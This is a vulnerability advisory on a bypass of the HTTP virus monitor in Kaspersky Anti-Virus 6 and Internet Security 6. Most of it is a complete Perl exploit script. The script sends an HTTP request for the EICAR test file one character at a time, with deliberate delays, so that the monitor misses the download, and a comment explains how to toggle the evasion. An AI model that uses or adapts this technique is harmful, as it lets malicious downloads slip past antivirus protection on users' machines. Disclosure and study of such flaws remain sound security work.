Kaspersky antivirus 6: HTTP monitor bypassing
Kaspersky antivirus 6
Kaspersky internet security 6
www.kaspersky.com
Vulnerable Systems: KAV6, KIS6
Detail:
The vulnerability is caused due to HTTP parsing errors in the HTTP monitor
(Kaspersky Web-antivirus).
Any mailicious software on local computer can bypass HTTP virus monitor.
Solution:
There is no known solution.
Exploit code:
This perl script could be run with ActiveState Perl 5.8:
use IO::Socket::INET;
use strict;
my( $h_srv, $h_port, $h_url ) = ( 'www.eicar.com', 'http(80)',
'http://www.eicar.com/download/eicar.com' );
syswrite STDOUT, "connecting to $h_srv:$h_port (for $h_url)\n";
my $s = IO::Socket::INET->new( PeerAddr => $h_srv,
PeerPort => $h_port,
Proto => 'tcp' );
die "socket: $!" unless $s;
sendthem( $s,
"GET $h_url HTTP/1.1",
"Host: $h_srv",
""
);
my $doc = read_body( $s, read_headers( $s ) );
syswrite STDOUT,
'document is <'.$doc.'> len='.length($doc)."\n";
sub sendthem {
my $s = shift;
my $c = 0;
foreach( @_ ) {
my @a = split //, $_;
++$c;
syswrite STDOUT, "query $c: ";
foreach( @a ) {
sendone( $s, $_ );
}
sendone( $s, "\r" );
sendone( $s, "\n" );
}
}
sub sendone {
my( $s, $v ) = @_;
$s->syswrite( $v );
syswrite STDOUT, $v;
# !!! comment next line to have monitoring working ;)
select( undef, undef, undef, 0.300 );
}
sub read_headers {
my( $s ) = @_;
my( $c, $cl ) = ( 0, 0 );
for( ;; ) {
my $l = read_line( $s );
++$c;
syswrite STDOUT, "header $c: $l";
syswrite STDOUT, "\r\n";
last if not $l and $c;
$cl = $1 if $l =~ /^Content-Length:\s+(\d+)/;
}
$cl;
}
sub read_line {
my( $s ) = @_;
my $str = '';
for( ;; ) {
my $v = '';
my $r = $s->sysread( $v, 1 );
die 'EOF reading headers!' unless $r;
last if $v eq "\n";
next if $v eq "\r";
$str .= $v;
}
return $str;
}
sub read_body {
my( $s, $cl ) = @_;
my( $str, $cli ) = ( '', $cl );
syswrite STDOUT, "reading body <content-length: $cli> ...\n";
for( ;; ) {
my $v = '';
my $r = $s->sysread( $v, 1 );
last unless $r;
$str .= $v;
--$cl if $cli;
last if not $cl and $cli;
}
return $str;
}